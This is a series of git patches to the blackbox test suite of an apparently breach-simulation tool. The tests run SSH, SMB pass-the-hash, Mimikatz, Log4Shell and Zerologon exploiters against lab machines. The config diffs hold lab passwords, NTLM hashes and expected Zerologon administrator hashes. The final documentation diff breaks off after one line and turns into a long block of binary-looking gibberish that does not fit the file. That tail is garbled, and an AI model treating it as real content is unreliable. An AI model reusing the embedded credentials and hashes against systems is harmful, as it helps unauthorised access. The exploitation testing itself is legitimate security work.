class TestMonkeyBlackbox: log_handler=log_handler, ).run() - @pytest.mark.skip( - reason="Perfomance test that creates env from fake telemetries is faster, use that instead." - ) - def test_report_generation_performance(self, island_client, quick_performance_tests): - """ - This test includes the SSH + Hadoop + MSSQL machines all in one test - for a total of 8 machines including the Monkey Island. - - Is has 2 analyzers - the regular one which checks all the Monkeys - and the Timing one which checks how long the report took to execute - """ - if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test( - ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60 - ) - else: - LOGGER.error("This test doesn't support 'quick_performance_tests' option.") - assert False - - @pytest.mark.skip( - reason="Perfomance test that creates env from fake telemetries is faster, use that instead." - ) - def test_map_generation_performance(self, island_client, quick_performance_tests): - if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test( - MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60 - ) - else: - LOGGER.error("This test doesn't support 'quick_performance_tests' option.") - assert False - - @pytest.mark.run_performance_tests - def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): - ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() - - @pytest.mark.run_performance_tests - def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): - MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() - - @pytest.mark.run_performance_tests - def test_telem_performance(self, island_client, quick_performance_tests): - TelemetryPerformanceTest( - island_client, quick_performance_tests - ).test_telemetry_performance() + def test_depth_4_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth4A, "Depth4A test suite") diff --git a/envs/monkey_zoo/blackbox/test_blackbox_in_depth.py b/envs/monkey_zoo/blackbox/test_blackbox_in_depth.py new file mode 100644 index 000000000..42d2e28b7 --- /dev/null +++ b/envs/monkey_zoo/blackbox/test_blackbox_in_depth.py @@ -0,0 +1,296 @@ +import logging +import os +from time import sleep + +import pytest +from typing_extensions import Type + +from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer +from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.single_tests.drupal import Drupal +from envs.monkey_zoo.blackbox.config_templates.single_tests.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.single_tests.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.single_tests.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.single_tests.log4j_tomcat import Log4jTomcat +from envs.monkey_zoo.blackbox.config_templates.single_tests.mssql import Mssql +from envs.monkey_zoo.blackbox.config_templates.single_tests.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell import PowerShell +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell_credentials_reuse import ( + PowerShellCredentialsReuse, +) +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_mimikatz import SmbMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.ssh import Ssh +from envs.monkey_zoo.blackbox.config_templates.single_tests.struts2 import Struts2 +from envs.monkey_zoo.blackbox.config_templates.single_tests.tunneling import Tunneling +from envs.monkey_zoo.blackbox.config_templates.single_tests.weblogic import Weblogic +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon +from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler +from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import ( + MapGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import ( + ReportGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( + TelemetryPerformanceTest, +) +from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( + initialize_gcp_client, + start_machines, + stop_machines, +) +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + +DEFAULT_TIMEOUT_SECONDS = 2 * 60 +MACHINE_BOOTUP_WAIT_SECONDS = 30 +LOG_DIR_PATH = "./logs" +logging.basicConfig(level=logging.INFO) +LOGGER = logging.getLogger(__name__) + + +@pytest.fixture(autouse=True, scope="session") +def GCPHandler(request, no_gcp): + if not no_gcp: + try: + initialize_gcp_client() + start_machines(GCP_TEST_MACHINE_LIST) + except Exception as e: + LOGGER.error("GCP Handler failed to initialize: %s." % e) + pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") + wait_machine_bootup() + + def fin(): + stop_machines(GCP_TEST_MACHINE_LIST) + + request.addfinalizer(fin) + + +@pytest.fixture(autouse=True, scope="session") +def delete_logs(): + LOGGER.info("Deleting monkey logs before new tests.") + TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path()) + + +def wait_machine_bootup(): + sleep(MACHINE_BOOTUP_WAIT_SECONDS) + + +@pytest.fixture(scope="class") +def island_client(island, quick_performance_tests): + client_established = False + try: + island_client_object = MonkeyIslandClient(island) + client_established = island_client_object.get_api_status() + except Exception: + logging.exception("Got an exception while trying to establish connection to the Island.") + finally: + if not client_established: + pytest.exit("BB tests couldn't establish communication to the island.") + if not quick_performance_tests: + island_client_object.reset_env() + island_client_object.set_scenario(IslandModeEnum.ADVANCED.value) + yield island_client_object + + +@pytest.mark.usefixtures("island_client") +# noinspection PyUnresolvedReferences +class TestMonkeyBlackbox: + @staticmethod + def run_exploitation_test( + island_client: MonkeyIslandClient, + config_template: Type[ConfigTemplate], + test_name: str, + timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS, + ): + raw_config = IslandConfigParser.get_raw_config(config_template, island_client) + analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + ExploitationTest( + name=test_name, + island_client=island_client, + raw_config=raw_config, + analyzers=[analyzer], + timeout=timeout_in_seconds, + log_handler=log_handler, + ).run() + + @staticmethod + def run_performance_test( + performance_test_class, + island_client, + config_template, + timeout_in_seconds, + break_on_timeout=False, + ): + raw_config = IslandConfigParser.get_raw_config(config_template, island_client) + log_handler = TestLogsHandler( + performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + analyzers = [ + CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config)) + ] + performance_test_class( + island_client=island_client, + raw_config=raw_config, + analyzers=analyzers, + timeout=timeout_in_seconds, + log_handler=log_handler, + break_on_timeout=break_on_timeout, + ).run() + + @staticmethod + def get_log_dir_path(): + return os.path.abspath(LOG_DIR_PATH) + + def test_ssh_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") + + def test_hadoop_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Hadoop, "Hadoop_exploiter", 6 * 60) + + def test_mssql_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") + + def test_powershell_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, PowerShell, "PowerShell_Remoting_exploiter" + ) + + @pytest.mark.skip_powershell_reuse + def test_powershell_exploiter_credentials_reuse(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, + PowerShellCredentialsReuse, + "PowerShell_Remoting_exploiter_credentials_reuse", + ) + + def test_smb_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, SmbMimikatz, "SMB_exploiter_mimikatz" + ) + + def test_smb_pth(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") + + @pytest.mark.skip(reason="Drupal exploiter is deprecated") + def test_drupal_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") + + @pytest.mark.skip(reason="Struts2 exploiter is deprecated") + def test_struts_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter") + + @pytest.mark.skip(reason="Weblogic exploiter is deprecated") + def test_weblogic_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") + + def test_log4j_solr_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jSolr, "Log4Shell_Solr_exploiter" + ) + + def test_log4j_tomcat_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" + ) + + def test_log4j_logstash_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" + ) + + def test_tunneling(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Tunneling, "Tunneling_exploiter", 3 * 60 + ) + + def test_wmi_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" + ) + + def test_wmi_pth(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") + + def test_zerologon_exploiter(self, island_client): + test_name = "Zerologon_exploiter" + expected_creds = [ + "Administrator", + "aad3b435b51404eeaad3b435b51404ee", + "2864b62ea4496934a5d6e86f50b834a5", + ] + raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) + zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds) + communication_analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + ExploitationTest( + name=test_name, + island_client=island_client, + raw_config=raw_config, + analyzers=[zero_logon_analyzer, communication_analyzer], + timeout=DEFAULT_TIMEOUT_SECONDS, + log_handler=log_handler, + ).run() + + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) + def test_report_generation_performance(self, island_client, quick_performance_tests): + """ + This test includes the SSH + Hadoop + MSSQL machines all in one test + for a total of 8 machines including the Monkey Island. + + Is has 2 analyzers - the regular one which checks all the Monkeys + and the Timing one which checks how long the report took to execute + """ + if not quick_performance_tests: + TestMonkeyBlackbox.run_performance_test( + ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60 + ) + else: + LOGGER.error("This test doesn't support 'quick_performance_tests' option.") + assert False + + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) + def test_map_generation_performance(self, island_client, quick_performance_tests): + if not quick_performance_tests: + TestMonkeyBlackbox.run_performance_test( + MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60 + ) + else: + LOGGER.error("This test doesn't support 'quick_performance_tests' option.") + assert False + + @pytest.mark.run_performance_tests + def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): + ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + + @pytest.mark.run_performance_tests + def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): + MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + + @pytest.mark.run_performance_tests + def test_telem_performance(self, island_client, quick_performance_tests): + TelemetryPerformanceTest( + island_client, quick_performance_tests + ).test_telemetry_performance() From 549eebd55c0176e30a7dcafc048fdf9a745e832f Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 08:02:34 +0000 Subject: [PATCH 1093/1110] BB: Rename depth_4_a to depth_3_a --- .../grouped/{depth_4_a.py => depth_3_a.py} | 11 ++++------- envs/monkey_zoo/blackbox/test_blackbox.py | 6 +++--- .../blackbox/utils/config_generation_script.py | 4 ++-- 3 files changed, 9 insertions(+), 12 deletions(-) rename envs/monkey_zoo/blackbox/config_templates/grouped/{depth_4_a.py => depth_3_a.py} (79%) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py similarity index 79% rename from envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py rename to envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py index 36e06853c..3f131694a 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py @@ -4,7 +4,7 @@ from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Depth4A(ConfigTemplate): +class Depth3A(ConfigTemplate): config_values = copy(BaseTemplate.config_values) # Tests: @@ -33,16 +33,13 @@ class Depth4A(ConfigTemplate): "Passw0rd!", "3Q=(Ge(+&w]*", "`))jU7L(w}", - "t67TC5ZDmz" "Ivrrw5zEzs", + "t67TC5ZDmz", + "Ivrrw5zEzs", ], "basic_network.scope.depth": 3, "internal.general.keep_tunnel_open_time": 20, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.exploits.exploit_ntlm_hash_list": [ - "5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b", - ], - "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986, 22, 135], + "internal.exploits.exploit_ntlm_hash_list": ["d0f0132b308a0c4e5d1029cc06f48692"], } ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 452a7ef81..806db4efb 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -10,7 +10,7 @@ from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnaly from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B -from envs.monkey_zoo.blackbox.config_templates.grouped.depth_4_a import Depth4A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -155,5 +155,5 @@ class TestMonkeyBlackbox: log_handler=log_handler, ).run() - def test_depth_4_a(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Depth4A, "Depth4A test suite") + def test_depth_3_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth4A test suite") diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 178f92a95..320ae8c57 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -5,7 +5,7 @@ from typing import Type from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B -from envs.monkey_zoo.blackbox.config_templates.grouped.depth_4_a import Depth4A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -23,7 +23,7 @@ args = parser.parse_args() island_client = MonkeyIslandClient(args.island_ip) -CONFIG_TEMPLATES = [Depth1A, Depth1B, Depth4A] +CONFIG_TEMPLATES = [Depth1A, Depth1B, Depth3A] def generate_templates(): From 0b4f98c675f9f26881acfbf8ecba80a8bc920954 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 08:03:59 +0000 Subject: [PATCH 1094/1110] BB: Increase default test timeout to 150s Timeout needed an increase because one log4shell machine was slow to communicate back --- envs/monkey_zoo/blackbox/test_blackbox.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 806db4efb..f0ad1b680 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -23,7 +23,7 @@ from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( ) from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -DEFAULT_TIMEOUT_SECONDS = 2 * 60 +DEFAULT_TIMEOUT_SECONDS = 2 * 60 + 30 MACHINE_BOOTUP_WAIT_SECONDS = 30 LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) From 4df72d08eba0b1fe6ecd8b08b1d79dd22b632e2a Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 08:05:23 +0000 Subject: [PATCH 1095/1110] BB: Reduce the time for agents to die to 2 minutes --- envs/monkey_zoo/blackbox/tests/exploitation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index 31449e1f1..f439e11db 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -5,7 +5,7 @@ from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandCo from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer -MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60 +MAX_TIME_FOR_MONKEYS_TO_DIE = 2 * 60 WAIT_TIME_BETWEEN_REQUESTS = 1 TIME_FOR_MONKEY_PROCESS_TO_FINISH = 5 DELAY_BETWEEN_ANALYSIS = 1 From 03e23778dd40f9426b89e32952eaf2c7652f5a97 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 08:06:37 +0000 Subject: [PATCH 1096/1110] BB: Add explanation to how 46 powershell machine can be exploited --- envs/monkey_zoo/docs/fullDocs.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 9d5635255..8499e1bb2 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -771,7 +771,9 @@ Accessibale through Island using m0nk3y-user.

      $_ z+8wm*3^N;mjO)%U8i+)%fl>(Qp`JZ(zSYvXrVZyC7!H0s@bzV3PQ(1pZ4zskx6H_0 zC(s!Tm|c^vh~smL7SFe&F{DB^q||1VZQVvFT*PWHxDOqtl@t)rm6F;QyID}W(}sT4 z-lRFV==eDjyzjev;mZc4;?0Ak*vlhxef+^*&gdr{0^fP|KLe~sfXSEQ1wHjYHIOo8 zafN;49=(5694|&&gi^KB42ZrQ z-S!}Pqe+iszb4Lf%^i>hP6Ks?4U^<2)8mF%@Gk@8W>j0uqOf}!I&EJ)Jmac)Xn9@< zU_rYJ{t2K8*bzMkDWQi{x19I($#L`A#tZX8xEIT)bJYo6+k|J}X?%g{Ancs8({CLq zgnqlLb2=t?@n(7l$Q_P85XUj1F^}prJXxw&;lbf&Q@;n_U}iJC)#K1b)OwsZF1dA} z_%k*9=`X;|41Hh1qk2Y}3h?MkC)zIH6UnpFe{MhMQy)IuoHS$E0`MPRS5)Lvw28?3 zTQ&eCJQhO^LrCHFR~z^0Vb(shx3i3P9M1Si`$c0m1p2~E4B4eOwa76wE9KW4C{S?HQirI8+qYE>DpyB9G^8OB= ziDQ?tY2m19*e>*IwZkk_dJ};9?)r%i7NNPezVeTZ$wVfBpL~-gh10Cb)#dqgB@Csv z+|IC_c#->8Y3Tg2i^K*MK!#~(8a>21AZ!Y&r0sW2LwVFWL; zpAQO-BLl~|$scEOU+g8$=Uh~}v(-PG5O##ol&zPcZ;pDnkV}=VTn3;v_YnbK{|oAE z{#@CydxdOL6;aPHKg*u{Qa1x#v74~{`~UiK|HV9+r}3SBkprogd=McEhl@L_=gVe_ z26$v|No&5UA%GA*;s<;esv?(u@*fI~Pu8CiNNC1+GneQ(@_NWCI7(`3rU9RTGA#f6 zp4_dvbi$SBg{C(z33<)dl54*t0&}Q&I1Ai%h)H^Wv$fhj;Mb=PFtT zK$|yc-7-v+tV~e!s2kk6vtXY$&pMhM3%K9e(CYJ0$^uz7;QT;~4RW5*#zKffpI~Ul z;a7Zb9zUlKTm(fTm?TiqO8Kl<{Gq)_uLQE9oBaGsUi{4(jKC_MB}|O2fq-0_F+^`O zKK%c<%E^+9diW2*p8cn>9>$9sj}-nl%Lsd|V-wxEe52zz@ELg;fHV>RB}b#!U`A@}ZLR}J_CNgig0 z+BL3}C5FpbE+?Boa|bq{3$Pa;)XIACDSAOH$M}~g_nQhnt!yHTAt9i1mEkWK`LDIw zd;hlqw)cT^RxB4#__ zO2woz0FjCQUBWXJN$w68t%*w`OAxxw7HG&ZpUz=XAgUb98ZC>rMQI8_E7bCJjw&?) zA6)E0%De6+xz)+^b%uf&vP$=qq=m0V%p3S8)k*6zD%uE3>xBzHq?sbI48q7h)(|z*dPSOs#p?LI$A@5+z9%tmbGFR&ZQRh^5Nvh?+e98})Un$- zP56>bMIL%?u|Sgn0m?|p!QVpg&*)Jqgs99lmt|~nPk+nxlSs6(=uO&qv%{`BQgx9%$ue3TJ`F5#WZlcp2kBmlpo{cB~rehb1KM|LaEH4g19 z6s}LH2O6PpsR|61`=1ElJM$0!@?)r;QL+Tyub`L<@7ex`$H;3I)+?C=udj!LM;8g* zcJmC$B$Y_7l{r5?Ga}ry2KaHIDP%SAXu z7p*EX%3s^uPk_vJ7Sl%C^3J?60v{6KV@FLXR^PnBsG6?F1l|OCu+R= zyA^~z0Ya?41{l5CSEcN1wgx=8)bZx~=?X9GnjEo(YOTIW=hVU|8bAml<&vNUvh=?X z)oON^7%N}=BU!}LY8s-+C#RTDXa`n{AsShoW!`a+_5lxXUsqMB!=Wn&Ig5Hu)4d4Ce;uRKbM`FwB5@&N0 z4#&6S=IqJlL?D=Yc}hbU*6f$}r|ImQ{R4N{vODNy-3RdQ%4F|+w$_!0jsFF=vA%*k zDr)?AU2@4xfU34?4u&0ct?)nln+7irsaX#2JGs@~=)-Er^dMc;GO;%n*IT3oeFW0$ z)jYR(9RpvYUY;uz0Sk)&HCDMCJaP7_IldP--*};^D<7A0Pc4HZm;rw77Ho>flEI2cG4ybo(jS&uU_*ff^eNGG!J~B32 zJ-l<3n5m%?-+uxBtAN>NJmZ-^yW(QYxIf2@dajypnXcHp<*8TQR~fd+F1(_zn5dfp zo;lbe!u8zk(|>CAUOG=|t6-~A{*nK%wC;jV08iROr!!CIevh9cN1SW=qN(RjRm`&l z^+&?hie9#ZAA-Jx*pc&AeKkiqSBw19>*h3Wkb%Vf-a4%T<+1AyYL8*x=RVSa^^-#u z!yL~fD}gZoyRTmSzMQ1k4H*aV;)5%{60U}A^mOyB`(!&otVdEbZ~nN}!weU~Psl1Y zKuZM(@oVA#AX0U5P&uR~>~-{)lRs#t!Gi4cV??L<9yN)34pm*Cc%9rFf;@sCoom)p zxMifB)BBG;jpyUoM7P$EKh36HbZmc3vBBnF?S8loJ|;l+OH+Q0qD9sRn&Pt>_j4&* zGu%y$Biarjn!F1-QqMt7=`pXUu#wVxi@et_*D?Ei=qjk~qub!uBGjh;Iyt~7rrD&& z_>AssRb6+s$jpmMl_QPUnxLgDA2Hhdy)Mgd+GYr!Skf!}>;5eq&>!u}gU~B@#_FZ+ zS^AxCgvA}G!_ve`twQZf8-g>Yx;DkSn3*{DMqz?TFHTGjbr7V|@RA%%4$_)` zdxFH{6~w_|Oa~mOHpE-2Pu^_iaS?}$R5lKdPHaW*vo7do6)c@OP}5epFcaOA3gbk5 zqW!|tKQqR=lyzkX+gbTX!{n)df=}Bf2UYqGg0B*O>Cw7W$2zG;`-A-}kJ3&#DLm%* zo}DT0SG*8_Z`vc){;A|LA#c(;9k#==`FqcE-3Fa)V9=xysn;UkN7%0zyB227&7x^M8ri+m< zQ=H6)wtWVFh9Lt8@si^TsgIMsM~S|Hh&3OizG2r!nRCP(JZ((u}TX?%4AP z_X26~d;vJS(ylO0}&cvK?J53Ys=djs3vA0p~ga_Prn zD{Dm2nm^}kLl_vh4A`zrOT>ymR-3iA2)9%uryeImd-vzSNjd_d7_odl+EvP@DC_#` zx;}Sl5#NOEC1u~!maNGY>w4((miu)nWWI0UEYRVKHWy-y z!=2g@?$+Cl^w$LWr{m>Cqva;~=fAk}hxxUl+gsx$_)oo+*si3CAipJqs)KldFPo12 zn!R~XG}bUPq1zlXdXUA`27$lt=vn38gDP6fJN*U^;_7*$ctwa8=k~9)1%&Ex@drOV zO$KhnEf}cu=RzAG^`;5V4n{zN z3r#9CN!q*8*|su^HeYaAG%y+l?g88EAT8Upv)Bv)JF)V;RkJZkq{oW&WI-An>hKKs zSMXz2WZp+sKqxsK#rn_kA#*Ixs6S^d^0FIRPiXc)=xUTF9J_-Zv{K^OH^xY`H<`xV zS#&HOb_aKscuBq@YCZ5${)l~`@K$?-;c&&|YvPjx2EPDOknr5*+|NN1-;|S{z4wJd ztq}Cc8buP)FpO6rm%7Hf3l!)V^9kwRtH_U{%-9$7tO;7OKwsW^&10-DAwayI(O!4i z%Hf}WSOejt%VTfYE(pX&m?`MO2o_A3pRq%H59yg!Zi@mR8(>RRlaLVRz?YkRk^Tlt zoRH}lcyg!ECkG?64E{SB*>vHbtxlFm3I6ir2Z)&nyJ&f{8R_1g zYa#_)pI+8~RFg(J;)JmtvEWJx^Xi1Hf}F=zb%+s3_M<&9t{G}s3M=o@X^6x=)YtZF z-^ZKqop_c~f^XA*A&Bw| z%T5!?F!vWZPOQO?>Nt+-kU%vS@T6hdN>qfCllNtD!qYl}F_(Q!-FUs3AN+n8 zN&_RYUI0#W^}aU=tA=ncdnZB%el8aM;B*;IZ8;96+;r<``bmM`|*vWwz$#?M%icGZ^Sh{ED(-)`UuY`E;um?js?N19*aVqKJ zKYU9+SFwAWxCFLoLA=Y(6>&9damCKewDB)~K5aR?$7krxwp^g@r^+OFc)m9zhj!lI<~y-kkeY7w?m?sIdrObH#Or!}pd=G`4nEZG z)=zx`OY%4^{x`BCZibw5=Y=7GoqcV*YqCU42F0YX$m2KJeLxy@wZe>gT~if09&!(L z7GW9Ve-pBFK?(!5m3v2$Ib1`EK>~Pcj`I-$B%@ z8^DtB9uMgDIzkNL;V8!2P^$L=8l>a~I&sGI5s|<)V~A=C6^%qa6k}kop2#`N6p?`e ze({dX;AX)cOS_<_JbK@zx>G8o0b;&xdAM6d>}RkZaE95{1qT*6RyV3;vKzBY-Hl^9 zA6y}KIh%GNS@%R<3Q)9m)IzV6ByXhQMdw>7Oux|k_?xgVN*yC>a@!n-Z}Ny9EmZA) z(805)0RRrG+)I^>)ngAa2Glj9kp;ZFF?(*G=NO+ws5eYETc5H^`+ECJAGUt6StWuB zbdZ8xKAGs?`Rd67Oxe4k?^@Id)!|@JO2RAMv3!!R1Bd%ZH7*Kg4dAbj7Lnj&z~T%g zT|E``l@^bT-}#^^w5NLCfk}5rvVAh$g?n6AJ7O2P!}n9eXR!|BcTZE?OoK;YYVjVk zjj3;1*vIyf;wkUpX5EW=apX-@PMH6<>D30vXC+5}Iy3y?{@uD!$DjqhmdvWQ-i?5g zn1i?bsUs)Aty(5H-RmHoXWTE>2X%+J@RWk!>4<~|*{>I30MdVqf+e}jdbh5$HO44x zR`R0ov5Lu{UI+lgSN6H!L6>tc;Qqzjh^Tm)K=+-0(ndG*ztJcqcCUi@QUUF&$Kx5_ zZcPvminFI!O_YgSWp3|ch_^!|xdLa!Igc>gRQq%GOB3o38AnlB;>Ec7Z#}UC{w|iI zB3u7V+m1o%KrIn)QfWB9Mk=a`J&c1dT2&}P(SOo_w6StmXji9{5hoc?W^stMP%SGC zeT`1TZi;oE-Op11`yHQ1G~5|4TjUk!Fx@9&iX2o)pEUnLB4y=O!9piMfNRg?#`GUo zM4XgExML<}39%R_FY(YLo1Ymu4H@D3H6gYvSHWNP%#LJ(yQ>BDY3sB)g$VHc9dyi?`i?Hi7fak#e%&qQ7 zI*BNzQw6w1twZMN_dw>J=(&BIN2A@Z=Yi6S%cf+hLPx@<9P{WRFeJa+eCpB(4@7cS z#_;aFu#3ZV{ok%MPWDyNNI;4a;36&qTb}o09I8}41xLr%t)`-H>#tfEY(L$6_~k3L z*Qqa18>ws;Y=k+lH-QJ;1Hgt%%;90qD@*DFkrNl<#gv=GEeFz34K#U*AI}FMmeAEL z+?cd%DTe}Kd5$*`@_(L78`xZKkMCUH_|DPgyWGU!07G)?SuE477S*rCv^?L)+2XtxTCup3W 